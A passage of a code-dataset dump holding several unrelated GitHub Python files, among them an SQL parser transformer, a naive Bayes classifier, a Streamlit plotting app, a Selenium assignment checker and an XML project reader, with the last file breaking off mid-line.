error\n        if col_len != key_count - 2:\n            self.error = Error(True, \"InsertTypeMismatchError\")\n            return items\n\n        # set non-specified values as null\n        self.data.values = {col: 'null' for col in self.sch.tables[self.data.table_name].column_names}\n\n        # parsing inserted values\n        for i in range(1, key_count - 1):\n            if items[3] != None:\n                column_name = items[3].children[i].children[0].lower()\n            else:\n                column_name = self.sch.tables[self.data.table_name].column_names[i - 1]\n\n            value = items[5].children[i].children[0]\n\n            # column name existence check\n            if column_name not in self.sch.tables[self.data.table_name].column_names:\n                self.error = Error(True, \"InsertColumnExistenceError\", \"\", column_name)\n                return items\n\n            if value != \"'null'\":\n                # data type matching check\n                if items[5].children[i].children[0].type == 'STR':\n                    if self.sch.tables[self.data.table_name].column[column_name].data_type != CHAR:\n                        self.error = Error(True, \"InsertTypeMismatchError\")\n                        return items\n                elif items[5].children[i].children[0].type.lower() != \\\n                    self.sch.tables[self.data.table_name].column[column_name].data_type:\n                    self.error = Error(True, \"InsertTypeMismatchError\")\n                    return items\n                    \n                # slicing data if datatype is str and lnger than char length\n                if self.sch.tables[self.data.table_name].column[column_name].data_type == CHAR:\n                    value = value[1:len(value)-1]\n                    if len(value) > self.sch.tables[self.data.table_name].column[column_name].data_length:\n                        value = value[:self.sch.tables[self.data.table_name].column[column_name].data_length]\n                        \n            # nullable check\n            else:\n                if not self.sch.tables[self.data.table_name].column[column_name].nullable:\n                    self.error = Error(True, \"InsertColumnNonNullableError\", \"\", column_name)\n                    return items\n                \n                value = value[1:len(value)-1]\n\n            self.data.values[column_name] = value\n\n        for k, v in self.data.values.items():\n            if not self.sch.tables[self.data.table_name].column[k].nullable and v == 'null':\n                self.error = Error(True, \"InsertColumnNonNullableError\", \"\", k)\n                return items\n\n        return items\n    \n    # handle delete query\n    def delete_query(self, items):\n        self.data.query_type = \"DELETE\"\n        self.data.table_name = items[2].children[0].lower()\n\n        for cond in self.data.conditions:\n            # case 1 : value comparsion\n            if cond.comp_type == VALUE_COMP: \n                # compand valid checking\n                if cond.compand1.data_type == '':\n                    cond.compand1 = self.compand_data_checking(cond.compand1)\n                if cond.compand2.data_type == '':\n                    cond.compand2 = self.compand_data_checking(cond.compand2)\n                \n                # type mismatching check\n                if cond.compand1.data_type != NULL and cond.compand2.data_type != NULL:\n                    if cond.compand1.data_type != cond.compand2.data_type:\n                        self.error = Error(True, \"WhereIncomparableError\")\n\n            # case 2 : null checking conditions\n            else:\n                cond.table_name = self.data.table_name\n                \n                # table existence check\n                if cond.table_name not in self.sch.table_names:\n                    self.error = Error(True, 'NoSuchTable')\n                    return items\n                \n                # column existence check\n                elif cond.col_name not in self.sch.tables[cond.table_name].column_names:\n                    self.error = Error(True, 'WhereColumnNotExist')\n                    return items\n\n        return items\n    \n    def where_clause(self, items):\n        return items\n\n    def update_query(self, items):  # handle update query\n        self.data.query_type = \"UPDATE\"\n        return items\n    \n    # prasing selected columns\n    def selected_column(self, items):\n        table_name = None\n        col_name = None\n        if items[0] != None:\n            table_name = items[0].children[0].lower()\n\n        col_name = items[1].children[0].lower()\n        \n        self.data.select_columns.append((table_name, col_name))\n\n        return items\n\n    # parsing selected table\n    def referred_table(self, items):\n        table_name = items[0].children[0].lower()\n        if table_name not in self.sch.table_names:\n            self.error = Error(True, \"SelectTableExistenceError\", table_name)\n\n        self.data.select_table.append(table_name)\n\n        return items\n    \n    # parse null checking statement(is null, is not null)\n    def null_predicate(self, items):\n        cond = Condition()\n\n        cond.comp_type = NULL_CHECK\n\n        if items[0] != None:\n            cond.table_name = items[0].children[0]\n        \n        cond.col_name = items[1].children[0]\n\n        if items[2].children[1] != None:\n            cond.is_not = True\n\n        self.data.conditions.append(cond)\n\n        return items\n    \n    # comapnd setting\n    def compand_data_checking(self, compand: Compand) -> Compand:\n        # if table name is not specified\n        if compand.table_name == '':\n            # delete case\n            if self.data.query_type == 'DELETE':\n                # set as target table name\n                compand.table_name = self.data.table_name\n            # select case\n            else:\n                count = 0\n                # find column name inside table's column name\n                for t_name in self.data.select_table:\n                    for c_name in self.sch.tables[t_name].column_names:\n                        if c_name == compand.column_name:\n                            compand.table_name = t_name\n                            count += 1\n\n                # column name non exist case\n                if count == 0:\n                    self.error = Error(True, 'WhereColumnNotExist')\n                    return compand\n                \n                # ambigious case\n                elif count > 1:\n                    self.error = Error(True, 'WhereAmbiguousReference')\n                    return compand\n                \n        # table name specfied case\n        else:\n            if self.data.query_type == 'DELETE' and compand.table_name not in self.data.table_name:\n                self.error = Error(True, 'WhereTableNotSpecified')\n                return compand\n            elif self.data.query_type == 'SELECT' and compand.table_name not in self.data.select_table:\n                self.error = Error(True, 'WhereTableNotSpecified')\n                return compand\n\n            if compand.column_name not in self.sch.tables[compand.table_name].column_names:\n                self.error = Error(True, 'WhereColumnNotExist')\n                return compand\n\n        compand.data_type = self.sch.tables[compand.table_name].column[compand.column_name].data_type\n\n        return compand\n\n    # parsing each compand\n    def parsing_compand(self, items) -> Compand:\n        compand = Compand()\n        if len(items.children) == 1:\n            compand.data_type = items.children[0].children[0].type\n            compand.value = items.children[0].children[0]\n\n            # data transfrom by each types\n            if compand.data_type == 'STR':\n                compand.data_type= CHAR\n                compand.value = compand.value[1:len(compand.value)-1]\n            elif compand.data_type == 'INT':\n                compand.value = int(compand.value)\n            elif compand.data_type == 'DATE':\n                compand.value = datetime.datetime.strptime(compand.value, '%Y-%m-%d')\n            else:\n                compand.data_type = NULL\n\n            compand.data_type = compand.data_type.lower()\n\n        else:\n            if items.children[0] != None:\n                compand.table_name = items.children[0].children[0].lower()\n            compand.column_name = items.children[1].children[0].lower()\n\n        return compand\n\n    # prasing condition statement\n    def comparison_predicate(self, items):\n        cond = Condition()\n        \n        cond.comp_op = items[1].children[0]\n\n        # parsing each compand\n        cond.compand1 = self.parsing_compand(items[0])\n        cond.compand2 = self.parsing_compand(items[2])\n\n        self.data.conditions.append(cond)\n\n        return items","repo_name":"hamasoon/SNUDB2023Spring","sub_path":"Projects/Project1/PRJ1-3_2019-14355 (copy)/transfomer.py","file_name":"transfomer.py","file_ext":"py","file_size_in_byte":20347,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"13126718893","text":"import pandas as pd\nfrom collections import OrderedDict\nfrom itertools import product\nimport numpy as np\n\n\ndef evaluate(data, cond_prob_table, var_range, label_column):\n    '''\n    使用给定的cond_prob_table，评估'data'\n    :param data: 要评估的数据\n    :param cond_prob_table: 条件概率表\n    :param var_range: 随机变量取值范围\n    :param label_column: label所在列的列名\n    :return: 准确率，概率矩阵\n    '''\n    label = data[label_column].to_numpy()\n    preds = []\n    #用来给定样本时的概率矩阵，logP(y_i|sample_j) = log_prob_matrix[j,i]/C_i,C_i为归一化系数\n    log_prob_matrix = np.zeros((len(data), len(var_range[label_column])))\n\n    # 遍历所有的sample\n    for sample_idx, sample in data.iterrows():\n        pred_y = var_range[label_column][0]\n        max_log_prob_acc = -float('inf')\n\n        # 枚举所有label的取值可能\n        for y_idx, y in enumerate(var_range[label_column]):\n            log_prob_acc = 0\n\n            # 计算log 概率的累积和\n            for var in var_range.keys():\n                if var == label_column:\n                    continue\n                x = sample[var] # 当前样本的var特征对应的值\n                if var_range[var] == 'continuous':\n                    # 连续变量条件概率，使用高斯分布分布计算\n                    mean, std = cond_prob_table[var][y]\n                    # prob = 1 / (std * np.sqrt(2 * np.pi)) * np.exp(-np.square((x - mean)) / (2 * np.square(std)))\n                    log_prob = -np.square((x - mean)) / (2 * np.square(std)) - np.log(std * np.sqrt(2 * np.pi))\n                else:\n                    # 离散变量条件概率，直接从概率表获得\n                    prob = cond_prob_table[var][(x, y)]\n                    if prob == 0:  # 等于0时直接退出循环\n                        log_prob_acc = -float('inf')\n                        break\n                    log_prob = np.log(prob)\n                log_prob_acc += log_prob # 计算log概率值，防止连乘时数值溢出\n            # 当前的log概率大于最大的log概率，更新预测\n            if log_prob_acc > max_log_prob_acc:\n                pred_y = y\n                max_log_prob_acc = log_prob_acc\n            log_prob_matrix[sample_idx, y_idx] = log_prob_acc\n        preds.append(pred_y)\n    preds = np.asarray(preds)\n    acc = np.sum(preds == label) / len(preds)\n    return acc, np.exp(log_prob_matrix)\n\n\ndef gaussian_nbc(train_set: pd.DataFrame, test_set: pd.DataFrame):\n    label_column = 'label' # label 对应的列\n    var_range = OrderedDict()\n\n    # 计算每个随机变量的可取值\n    for var in train_set.columns.values:\n        var_set = set(train_set[var])\n        if len(var_set) > 0.5 * len(train_set):\n            # 连续变量表示为'continuous'，方便后面判断\n            var_range[var] = 'continuous'\n        else:\n            # 离散变量获得所有不同的可取值\n            var_range[var] = sorted(list(var_set))\n\n    cond_prob_table = OrderedDict()\n    # 计算条件概率表，条件概率表的格式如下\n    for var in train_set.columns.values:\n        if var == label_column:\n            continue\n        prob_list = []\n        if var_range[var] == 'continuous':\n            # 如果是连续变量，则计算给定y时的，x的均值和标准差\n            for y in var_range[label_column]:\n                y_mask = train_set[label_column] == y\n                x_data = train_set[var][y_mask]\n                mean = x_data.mean()\n                std = x_data.std()\n                prob_list.append((y, (mean, std)))\n        else:\n            # 如果是离散变量，则计算给定y时的，x所有可能取值下条件概率，也就是P(x|y)\n            for y, x in product(var_range[label_column], var_range[var]):\n                y_mask = train_set[label_column] == y # bool索引，train_set[label_column]为y的地方为True，否则为False\n                x_mask = train_set[var] == x\n                xy_mask = x_mask & y_mask # 逐位进行并运算，也就是说train_set[label_column]为y且train_set[var]为x的地方为True，否则为False\n                # Original 计算条件概率，原始方法\n                prob = np.sum(xy_mask) / np.sum(y_mask)\n\n                # Laplace 平滑\n                # prob = (np.sum(xy_mask) + 1)/ (np.sum(y_mask) + len(var_range[var]))\n\n                # m-estimate\n                # m = 0.1\n                # p = np.sum(x_mask) / len(train_set)\n                # prob = (np.sum(xy_mask)+m*p) / (np.sum(y_mask)+m)\n\n                prob_list.append(((x, y), prob))\n\n        # 将list转换为OrderedDict，list中每个元素是一个二元tuple，\n        # 每个tuple包含两个元素，第一是字典的key，第二为value\n        cond_prob_table[var] = OrderedDict(prob_list)\n\n    # 评估\n    train_acc, _ = evaluate(train_set, cond_prob_table, var_range, label_column)\n    test_acc, test_prob_matrix = evaluate(test_set, cond_prob_table, var_range, label_column)\n    # Part 1\n    print('The accuracy on training data is %.04f' % train_acc)\n    print('The accuracy on testing data is %.04f' % test_acc)\n\n    # Part 2\n    test_data = test_set.drop(label_column,1)\n    for i, test_prob_row in enumerate(test_prob_matrix[:5]):\n        cond_prob_sum = test_prob_row.sum()\n        for cond_p, y in zip(test_prob_row, var_range[label_column]):\n            cond = test_data.iloc[i].to_list()\n            cond = ','.join(map(str, cond))\n            print('P(%s|%s)=%.04f' % (y, cond, cond_p / cond_prob_sum))\n\n    # Part 3\n    for var in cond_prob_table.keys():\n        if var_range[var]=='continuous':\n            for y in var_range[label_column]:\n                print('%s,label=%s: mean=%.04f,std=%.04f'%(var,str(y),cond_prob_table[var][y][0],cond_prob_table[var][y][1]))\n        else:\n            for y, x in product(var_range[label_column], var_range[var]):\n\n                print('P(%s=%s|%s)=%.04f' % (var,str(x), str(y), cond_prob_table[var][(x, y)]))\n\n\nif __name__ == '__main__':\n    train_set = pd.read_csv('training sample.csv')\n    test_set = pd.read_csv('testing sample.csv')\n    gaussian_nbc(train_set, test_set)\n","repo_name":"guangyaooo/MLTemplate","sub_path":"NaiveBayes/gaussian_nb.py","file_name":"gaussian_nb.py","file_ext":"py","file_size_in_byte":6201,"program_lang":"python","lang":"en","doc_type":"code","stars":90,"dataset":"github-code","pt":"22"}
+{"seq_id":"10096156913","text":"import numpy as np\n\n\ndef mean_time_for_paid_students(time_spent, days_to_cancel):\n    \"\"\"\n    Fill in this function to calculate the mean time spent in the classroom\n    for students who stayed enrolled at least (greater than or equal to) 7 days.\n    Unlike in Lesson 1, you can assume that days_to_cancel will contain only\n    integers (there are no students who have not canceled yet).\n\n    The arguments are NumPy arrays. time_spent contains the amount of time spent\n    in the classroom for each student, and days_to_cancel contains the number\n    of days until each student cancel. The data is given in the same order\n    in both arrays.\n    \"\"\"\n\n    # looks in time_spent\n    # but only the values where cancellation happened starting at 7 days\n    # then take the mean of the smaller section of values\n    return time_spent[days_to_cancel >= 7].mean()\n\n\ndef std_from_mean():\n    employment = np.array([\n        55.70000076, 51.40000153, 50.5, 75.69999695,\n        58.40000153, 40.09999847, 61.5, 57.09999847,\n        60.90000153, 66.59999847, 60.40000153, 68.09999847,\n        66.90000153, 53.40000153, 48.59999847, 56.79999924,\n        71.59999847, 58.40000153, 70.40000153, 41.20000076\n    ])\n\n    mean = employment.mean()\n    sd = employment.std()  # 9.338% is one standard deviation from the mean\n\n    print(mean)\n    print(sd)\n\n    mean_deviation = employment - mean\n    sd_from_mean = mean_deviation / sd\n\n    print(mean_deviation)\n    print(sd_from_mean)\n","repo_name":"davidreyes3/learn-python","sub_path":"data_science/numpy_funcs.py","file_name":"numpy_funcs.py","file_ext":"py","file_size_in_byte":1469,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"36433080559","text":"from ImageProcessingPlugins.ImageProcessingPlugin import ImageProcessingPluginParent\nfrom time import sleep\n\nclass samplePlugin(ImageProcessingPluginParent):\n    def __init__(self, tileManager):\n        super().__init__(tileManager)\n        self.action_name = \"sample action\"\n        self.tooltip = \"This is just a sample plugin action\"\n\n    def runAction(self):\n        print(\"this being printed from sample plugin\")\n        self.progressSignal.emit(\"Emitting Once...\", 30)\n        for i in range(6):\n            sleep(1)\n            self.progressSignal.emit(\"Emitting again...\", 30+i*10)\n\n","repo_name":"makatx/wsi-viewer","sub_path":"ImageProcessingPlugins/samplePlugin.py","file_name":"samplePlugin.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"22"}
+{"seq_id":"33294861994","text":"import time\n\nimport streamlit as st\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.metrics import accuracy_score\nfrom sklearn import tree\n\nfrom config import train_data, test_cols, home_image\n\n\n# page functioning\ndef app():\n    html1 = '''\n            <style>\n            #heading{\n              color: #42617d;\n              text-align:top-left;\n              font-size: 45px;\n            }\n            </style>\n            <h1 id = \"heading\"> Ad Data Analyses</h1>\n        '''\n    st.markdown(html1, unsafe_allow_html=True)\n\n    def mem_usage(pandas_obj):\n        if isinstance(pandas_obj, pd.DataFrame):\n            usage_b = pandas_obj.memory_usage(deep=True).sum()\n        else:  # we assume if not a df it's a series\n            usage_b = pandas_obj.memory_usage(deep=True)\n        usage_mb = usage_b / 1024 ** 2  # convert bytes to megabytes\n        return \"{:03.2f} MB\".format(usage_mb)\n\n    col1, col2 = st.beta_columns(2)\n    # button functionality for data points\n    param1 = col1.selectbox(\"Select the X Parameter\", test_cols)\n\n    param2 = col2.selectbox(\"Select the Y Parameter\", test_cols)\n\n    df_train_first_10k = pd.read_csv(train_data, sep='|', nrows=10000)\n\n    data = df_train_first_10k\n    spec = {\n        \"mark\": \"line\",\n        \"encoding\": {\n            \"x\": {\"field\": param1, \"type\": \"quantitative\"},\n            \"y\": {\"field\": param2, \"type\": \"quantitative\"},\n        },\n    }\n\n    st.subheader(\"View dependence on two variables\")\n    plt_2_variables = st.vega_lite_chart(spec, width=500, height=300)\n    plt_2_variables.vega_lite_chart(data, spec)\n\n    st.subheader(\"View the dependence of a variable on the number of values\")\n    param3 = st.selectbox(\"Select the parameter\", test_cols)\n\n    count_df = data[param3].value_counts()\n    st.bar_chart(count_df,width=1000, height=500)\n\n    st.subheader(\"Corr matrix\")\n    corr = data.corr()\n\n    # Generate a mask for the upper triangle\n    mask = np.triu(np.ones_like(corr, dtype=bool))\n\n    # Set up the matplotlib figure\n\n    def plotCorrelationMatrix(df, graphWidth):\n        filename = \"df.dataframeName\"\n        df = df.dropna('columns')\n        df = df[[col for col in df if df[col].nunique() > 1]]\n        if df.shape[1] < 2:\n            print(\n                f'No correlation plots shown: The number of non-NaN or constant columns ({df.shape[1]}) is less than 2')\n            return\n        corr = df.corr()\n        plt.figure(num=None, figsize=(graphWidth, graphWidth), dpi=80, facecolor='w', edgecolor='k')\n        corrMat = plt.matshow(corr, fignum=1)\n        plt.xticks(range(len(corr.columns)), corr.columns, rotation=90)\n        plt.yticks(range(len(corr.columns)), corr.columns)\n        plt.gca().xaxis.tick_bottom()\n        plt.colorbar(corrMat)\n        plt.title(f'Correlation Matrix for {filename}', fontsize=15)\n        st.set_option('deprecation.showPyplotGlobalUse', False)\n        st.pyplot(plt.show())\n\n    plotCorrelationMatrix(data, 21)\n    # time.sleep(0.2)  10 Sleep a little so the add_rows gets sent separately.\n    # x.add_rows(data)\n    #\n    # x = st.line_chart()\n    # x.add_rows(data)\n    #\n    # x = st.area_chart()\n    # x.add_rows(data)\n    #\n    # x = st.bar_chart()\n    # x.add_rows(data)\n    #\n    # st.subheader(\"Here is 1 empty map\")\n    # st.deck_gl_chart()\n","repo_name":"IrinaSkripka99/DA","sub_path":"4 course/diplom/streamlit/data_visulization.py","file_name":"data_visulization.py","file_ext":"py","file_size_in_byte":3411,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"40206435022","text":"from selenium import webdriver\r\nfrom webdriver_manager.chrome import ChromeDriverManager\r\nfrom selenium.webdriver.chrome.service import Service\r\nfrom selenium.webdriver.common.by import By\r\nfrom time import sleep\r\nfrom datetime import datetime\r\nimport os\r\nfrom dotenv import load_dotenv\r\nload_dotenv()\r\n\r\n\r\ndef temTrabalhoHoje(dataTrabalho):\r\n    dataFromatada = datetime.strptime(dataTrabalho, '%d/%m/%Y')\r\n    dataAtual = datetime.now()\r\n\r\n    if dataAtual == dataFromatada:\r\n        return True\r\n\r\n    return False\r\n\r\n\r\nservice = Service(ChromeDriverManager().install())\r\ndriver = webdriver.Chrome(service=service)\r\ndriver.get('https://alfa.matheusacademico.com.br/index_aluno.asp')\r\n\r\n# Passa a tela de login\r\ndriver.find_element(By.CSS_SELECTOR, '#txtusuario').send_keys(\r\n    os.environ.get(\"RA\"))\r\ndriver.find_element(By.CSS_SELECTOR, '#txtsenha').send_keys(\r\n    os.environ.get(\"PASSWORD\"))\r\ndriver.find_element(By.CSS_SELECTOR, '#enviar').submit()\r\n\r\n# Chega nos Trabalhos\r\n\r\ndriver.find_element(\r\n    By.CSS_SELECTOR, '#wrapper > ul > li.IconSala_virtual').click()\r\ndriver.find_element(\r\n    By.CSS_SELECTOR, '#wrapper > ul > li.IconSala_virtual > ul > li:nth-child(1)').click()\r\nsleep(3)\r\ndriver.find_element(\r\n    By.CSS_SELECTOR, '#divmain2 > div > table > tbody > tr:nth-child(2) > td:nth-child(4) > a:nth-child(1)').click()\r\nsleep(1)\r\n\r\nelementoPai = driver.find_element(\r\n    By.CSS_SELECTOR, '#divmain > div > table > tbody > tr:nth-child(2)')\r\nfilhosElemento = elementoPai.find_elements(By.CSS_SELECTOR, 'td')\r\n\r\ndataUltimoTrabalho = filhosElemento[3].text\r\nnomeDisciplina = filhosElemento[2].text\r\ndescricao = filhosElemento[5].text\r\n\r\nif temTrabalhoHoje(dataUltimoTrabalho):\r\n    print(\r\n        f'Tem trabalho Hoje! da materia {nomeDisciplina} descrição: {descricao}')\r\nelse:\r\n    print(\r\n        f'Não tem trabalho hoje! ultimo trabalho adicionado foi da materia {nomeDisciplina} descrição: {descricao} em {dataUltimoTrabalho}')\r\n\r\nsleep(1000)\r\n","repo_name":"JGGrande/ENA-UniAlfa","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1972,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"4359333703","text":"from tastypie.exceptions import ImmediateHttpResponse\nfrom tastypie.resources import ModelResource\nfrom tastypie import fields\n\nfrom chroma_core.services import log_register\n\nlog = log_register(__name__)\n\n\nclass ChromaModelResource(ModelResource):\n    \"\"\"\n    Base class for chroma_models.\n    \"\"\"\n\n    ALL_FILTER_INT = [\"exact\", \"gte\", \"lte\", \"gt\", \"lt\"]\n    ALL_FILTER_STR = [\"contains\", \"exact\", \"startswith\", \"endswith\"]\n    ALL_FILTER_DATE = [\"exact\", \"gte\", \"lte\", \"gt\", \"lt\"]\n    ALL_FILTER_ENUMERATION = [\"exact\", \"contains\", \"startswith\", \"endswith\", \"in\"]\n    ALL_FILTER_BOOL = [\"exact\"]\n\n    # Add the enumeration type to the schema info.\n    def build_schema(self):\n        \"\"\"\n        Returns a dictionary of all the fields on the resource and some\n        properties about those fields.\n\n        Used by the ``schema/`` endpoint to describe what will be available.\n        \"\"\"\n\n        data = super(ChromaModelResource, self).build_schema()\n\n        # Add enumeration\n        for field_name, field_object in self.fields.items():\n            if getattr(field_object, \"enumerations\", None):\n                data[\"fields\"][field_name][\"enumeration\"] = field_object.enumerations\n\n        return data\n\n    def _handle_500(self, request, exception):\n        log.exception(exception)\n\n        return super(ChromaModelResource, self)._handle_500(request, exception)\n\n\n# Add enumeration type to the fields\nbase_apifield___init__ = fields.ApiField.__init__\n\n\ndef apifield___init__(\n    self,\n    attribute=None,\n    default=fields.NOT_PROVIDED,\n    null=False,\n    blank=False,\n    readonly=False,\n    unique=False,\n    help_text=None,\n    use_in=\"all\",\n    verbose_name=None,\n    enumerations=None,\n):\n\n    base_apifield___init__(self, attribute, default, null, blank, readonly, unique, help_text, use_in)\n\n    self.enumerations = enumerations\n\n\nfields.ApiField.__init__ = apifield___init__\n","repo_name":"whamcloud/integrated-manager-for-lustre","sub_path":"chroma_api/chroma_model_resource.py","file_name":"chroma_model_resource.py","file_ext":"py","file_size_in_byte":1896,"program_lang":"python","lang":"en","doc_type":"code","stars":67,"dataset":"github-code","pt":"22"}
+{"seq_id":"73597019575","text":"test=int(input())\nfor _ in range(test):\n    number=int(input())\n    if number>9:\n        count=9\n        for i in range(10,number+1):\n            while i > 0:\n                r=i%10\n                count+=1\n                i=i//10\n        print(count)\n    elif number<=9:\n        print(number)\n","repo_name":"freesoul84/python_codes","sub_path":"other_python_codes/total_digits.py","file_name":"total_digits.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"43617032308","text":"import sys\n\nsys.setrecursionlimit(10**6)\n\n\nclass LCAEulerTour:\n    \"\"\"\n    グラフ情報からEuler-Tourを実施し、LCAを構築\n    Treeは1-index\n    他は0-index\n    \"\"\"\n\n    def __init__(self, n, graph, root=0):\n        self.n = n\n        self.First = [-1] * n\n        self.depth = [0] * n\n        self.EulerTour = self._init_eulertour(graph, root)\n        self.num = 1 << (len(self.EulerTour) - 1).bit_length()\n        self.tree = [(n, n)] * 2 * self.num\n        for i, v in enumerate(self.EulerTour):\n            self.tree[self.num + i] = (self.depth[v], v)\n        for i in range(self.num - 1, 0, -1):\n            self.tree[i] = min(self.tree[2 * i], self.tree[2 * i + 1])\n\n    def _init_eulertour(self, graph, root):\n        def dfs(v, d):\n            self.First[v] = len(ET)\n            self.depth[v] = d\n            ET.append(v)\n            for w in graph[v]:\n                if self.First[w] >= 0:\n                    continue\n                dfs(w, d + 1)\n                ET.append(v)\n        ET = []\n        dfs(root, 0)\n        return ET\n\n    def query(self, l, r): # 閉区間\n        res = (self.n, self.n)\n        l = self.First[l]\n        r = self.First[r]\n        if r < l:\n            r, l = l, r\n        l += self.num\n        r += self.num + 1\n        while l < r:\n            if l & 1:\n                res = min(res, self.tree[l])\n                l += 1\n            if r & 1:\n                res = min(res, self.tree[r - 1])\n            l >>= 1\n            r >>= 1\n        return res[1]\n","repo_name":"hirofumi999/AtCoderProject","sub_path":"LCA(Euler-Tour).py","file_name":"LCA(Euler-Tour).py","file_ext":"py","file_size_in_byte":1515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"42136978254","text":"from __future__ import unicode_literals\n\nimport os\n\nfrom .Config import multiProjectFileFormatVersion\nfrom .XMLStreamReaderBase import XMLStreamReaderBase\n\nimport Utilities\n\n\nclass MultiProjectReader(XMLStreamReaderBase):\n    \"\"\"\n    Class for reading an XML multi project file.\n    \"\"\"\n    supportedVersions = [\"4.2\", \"5.0\", \"5.1\"]\n    \n    def __init__(self, device, multiProject):\n        \"\"\"\n        Constructor\n        \n        @param device reference to the I/O device to read from (QIODevice)\n        @param multiProject Reference to the multi project object to store the\n                information into.\n        \"\"\"\n        XMLStreamReaderBase.__init__(self, device)\n        \n        self.multiProject = multiProject\n        self.path = os.path.dirname(device.fileName())\n        \n        self.version = \"\"\n    \n    def readXML(self):\n        \"\"\"\n        Public method to read and parse the XML document.\n        \"\"\"\n        while not self.atEnd():\n            self.readNext()\n            if self.isStartElement():\n                if self.name() == \"MultiProject\":\n                    self.version = self.attribute(\n                        \"version\",\n                        multiProjectFileFormatVersion)\n                    if self.version not in self.supportedVersions:\n                        self.raiseUnsupportedFormatVersion(self.version)\n                elif self.name() == \"Description\":\n                    self.multiProject.description = self.readElementText()\n                elif self.name() == \"Projects\":\n                    self.__readProjects()\n                else:\n                    self.raiseUnexpectedStartTag(self.name())\n        \n        self.showErrorMessage()\n    \n    def __readProjects(self):\n        \"\"\"\n        Private method to read the project infos.\n        \"\"\"\n        while not self.atEnd():\n            self.readNext()\n            if self.isEndElement() and self.name() == \"Projects\":\n                break\n            \n            if self.isStartElement():\n                if self.name() == \"Project\":\n                    self.__readProject()\n                else:\n                    self.raiseUnexpectedStartTag(self.name())\n    \n    def __readProject(self):\n        \"\"\"\n        Private method to read the project info.\n        \"\"\"\n        project = {}\n        \n        project[\"master\"] = self.toBool(self.attribute(\"isMaster\", \"False\"))\n        uid = self.attribute(\"uid\", \"\")\n        if uid:\n            project[\"uid\"] = uid\n        else:\n            # upgrade from pre 5.1 format\n            from PyQt5.QtCore import QUuid\n            project[\"uid\"] = QUuid.createUuid().toString()\n        \n        while not self.atEnd():\n            self.readNext()\n            if self.isEndElement() and self.name() == \"Project\":\n                if 'category' not in project:\n                    # upgrade from 4.2 format\n                    project[\"category\"] = \"\"\n                self.multiProject.projects.append(project)\n                break\n            \n            if self.isStartElement():\n                if self.name() == \"ProjectName\":\n                    project[\"name\"] = self.readElementText()\n                elif self.name() == \"ProjectFile\":\n                    project[\"file\"] = Utilities.absoluteUniversalPath(\n                        self.readElementText(), self.path)\n                elif self.name() == \"ProjectDescription\":\n                    project[\"description\"] = self.readElementText()\n                elif self.name() == \"ProjectCategory\":\n                    project[\"category\"] = self.readElementText()\n                else:\n                    self.raiseUnexpectedStartTag(self.name())\n","repo_name":"pycom/Pymakr","sub_path":"E5XML/MultiProjectReader.py","file_name":"MultiProjectReader.py","file_ext":"py","file_size_in_byte":3659,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"22"}
+{"seq_id":"38952504964","text":"import boto3\nimport json\nimport re\nimport os\nimport shutil\nimport sys\nimport time\nimport boto3\nimport botocore\nimport tensorflow as tf\nfrom PIL import Image, ImageFilter\nfrom background_task import background\nfrom catalog.email_util import *\nfrom catalog.constants import *\nfrom catalog.data_util import *\nfrom catalog.emnist import *\nfrom catalog.mnist_util import *\nfrom catalog.models import *\nfrom catalog.path_util import *\nfrom catalog.sagemaker_util import *\nfrom catalog.serializers import UserSerializer, GroupSerializer\nfrom catalog.tasks import *\nfrom django import template\nfrom django.conf import settings\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import User, Group\nfrom django.core.files import File\nfrom django.core.files.storage import FileSystemStorage\nfrom django.core.files.storage import default_storage\nfrom django.db import IntegrityError\nfrom django.db import transaction\nfrom django.shortcuts import render\nfrom django.utils import timezone\nfrom pathlib import Path\nfrom rest_framework import status \nfrom rest_framework import viewsets\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\n#from sagemaker import Session\n#from sagemaker.tensorflow import TensorFlow\n#from sagemaker.utils import name_from_image\nfrom shutil import copyfile\nfrom time import gmtime, strftime\n\n# upload, create_training_job, create_endpoint\nENABLE_STAGE = False\nSTAGE_UPLOAD = \"upload\"\nSTAGE_JOB = \"create_training_job\"\nSTAGE_CREATE_ENDPOINT = \"create_endpoint\"\nSTAGE = STAGE_UPLOAD\n\nattr = ['num', 'big', 'small', 'roll', 'del']\nmax_length = [\n    4, # 'num': 4,\n    3, # 'big': 3,\n    3, # 'small': 3,\n    1, # 'roll' : 1,\n    1, # 'del' : 1\n]\n\n    \ndef get_s3_folder_cells(user_name, id, file_order):\n    return os.path.join(user_name, 'cells', str(id), str(file_order) + FILE_EXT)\n\ndef write_cell_data(s3_file_name, v, item):\n    cell = Cell.objects.update_or_create(\n        file_path=s3_file_name,\n        expected_char=v,\n        image_sheet=item)\n\n@background(schedule=60)\ndef upload_prediction_images(user_name, id):\n    item = ImageSheet.objects.get(pk=id)\n    item.state = ImageSheet.PROCESSING\n    item.save()\n    local_output_folder = get_local_output_folder(user_name, id)\n    result, er = read_expected_result(local_output_folder, item)\n    print(\"StartIndex=\" + str(start_index))\n    local_output_folder_cells = get_local_output_cells(user_name, id)\n    files_to_upload = []\n    for i in range(0, NROW):\n        print(\"Processing row=\" + str(i))\n        for j in range(0, len(attr)): # Go through all columns.\n            for k in range(0, max_length[j]): # For each digit of each column.\n                # Extract label from the expected result firt\n                filled_er = get_full(er[i][j], max_length[j])\n                v = extract_character(filled_er, k)\n                if not v:\n                    filled_result = get_full(result[i][j], max_length[j])\n                    v = extract_character(filled_result, k)\n                # Only upload the file if character is found.\n                if v:\n                    local_file_name,file_order = 